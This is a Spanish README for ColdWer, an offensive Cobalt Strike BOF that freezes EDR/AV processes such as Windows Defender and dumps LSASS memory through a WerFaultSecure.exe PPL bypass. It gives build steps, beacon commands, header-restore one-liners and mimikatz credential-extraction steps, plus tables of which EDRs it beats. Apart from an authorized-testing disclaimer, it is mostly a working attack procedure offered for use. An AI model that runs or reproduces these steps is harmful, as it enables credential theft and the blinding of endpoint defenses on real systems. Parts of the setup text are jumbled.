
BOF de Cobalt Strike para congelar procesos de EDR/AV y volcar LSASS mediante el bypass de PPL de WerFaultSecure.exe
Una guerra fría en tu endpoint.
ColdWer aprovecha la omisión de PPL de WerFaultSecure.exe para congelar procesos de EDR/AV y volcar la memoria LSASS en sistemas Windows modernos.
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
Congela tu EDR/AV. Extrae lo que necesitas. Mantente frío.
Sh3llf1r3 (@0xsh3llf1r3)
Este proyecto se basa en la investigación de TwoSevenOneT (@TwoSevenOneT):
| Proyecto | Descripción |
|---|---|
| EDR-Freeze | Técnica original de congelación de EDR |
| WSASS | Volcado de LSASS mediante WerFaultSecure |
Todo el crédito de las técnicas subyacentes es para TwoSevenOneT.
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna# Navega al directorio fuente
cd src/
# Compila BOF (requiere MinGW)
make
# O manualmente:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o y coldwer.cnacoldwer.cna en Cobalt Strike# Encontrar PID de Windows Defender
beacon> ps
# Congelar el proceso
beacon> cw-freeze 1337
# Ejecutar comandos mientras EDR/AV está congelado
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# Descongelar al terminar
beacon> cw-unfreeze
# Paso 1: Subir WerFaultSecure.exe de Win8.1
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# Paso 2: Encontrar PID de LSASS
beacon> ps
# Paso 3: Volcar LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Paso 4: Descargar el volcado
beacon> download C:\Windows\Temp\lsass.dmp
Cambia la cabecera del archivo para restaurar el formato minidump:
| Original (PNG) | Cambiar a (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
Comandos para restaurar la cabecera:
| Método | Comando |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
Luego parsea con Mimikatz:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| Comando | Descripción |
|---|---|
cw-freeze <PID> [Path] | Congelar proceso |
cw-unfreeze | Descongelar proceso previamente congelado |
cw-dump <PID> <Path> | Volcar memoria LSASS |
# Congelar con ruta por defecto
beacon> cw-freeze 1337
# Usar WerFaultSecure.exe personalizado
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# Volcar LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Descongelar al terminar
beacon> cw-unfreeze
| Objetivo | Estado |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ Funciona |
| LSASS (lsass.exe) | ✅ Funciona |
| Otros procesos PPL | ✅ Funciona |
NO funciona contra EDRs con autoprotección en modo kernel:
| EDR | Estado |
|---|---|
| Elastic Endpoint | ❌ Bloqueado |
| CrowdStrike Falcon | ❌ Bloqueado |
| SentinelOne | ❌ Bloqueado |
| Carbon Black | ❌ Bloqueado |
1. 🚀 Launch WerFaultSecure.exe as PPL (WinTcb level)
↓
2. 🎯 WerFaultSecure attaches to target process
↓
3. ⏸️ MiniDumpWriteDump suspends all target threads
↓
4. 🥶 Suspend WerFaultSecure itself → Target stays frozen
↓
5. ✅ Execute your commands (EDR/AV can't see!)
↓
6. 🔥 Terminate WerFaultSecure → Target unfreezes
| Versión | Salida |
|---|---|
| Windows 10/11 | Solo volcado cifrado |
| Windows 8.1 | Volcado sin cifrar en bruto |
⚠️ FOR AUTHORIZED SECURITY TESTING ONLY
This tool is intended for:
- Authorized penetration testing
- Red team operations with written permission
- Security research in controlled environments
The author is not responsible for any misuse or damage caused by this tool.
Unauthorized access to computer systems is illegal.
Licencia MIT - Ver LICENSE
🥶 Mantente Frío. Mantente en Silencio. 🥶
⭐ ¡Dale una estrella a este repo si te resulta útil! ⭐
| Característica | Descripción |
|---|
| ❄️ Congelar | Poner los procesos EDR/AV en estado de coma |
| 🔓 Volcar | Extraer memoria LSASS omitiendo PPL |
| 🛡️ Omisión de PPL | Aprovechar WerFaultSecure.exe a nivel WinTcb |
| ⚡ Rápido | Ejecución BOF en línea |
| 🎯 Control Manual | Tú decides cuándo congelar y descongelar |
| Error | Causa | Solución |
|---|
| Archivo no encontrado | Ruta inválida | Verificar ruta de WerFaultSecure.exe |
| Acceso denegado | Privilegios bajos | Ejecutar como Administrador/SYSTEM |
| Firma inválida | Binario sin firmar | Usar WerFaultSecure.exe firmado correctamente |
| El proceso no existe | PID incorrecto | Verificar PID con comando ps |
| Objetivo protegido | Protección de kernel | EDR tiene autoprotección (no se puede omitir) |
| Ya congelado | Estado atascado | Ejecutar cw-unfreeze primero |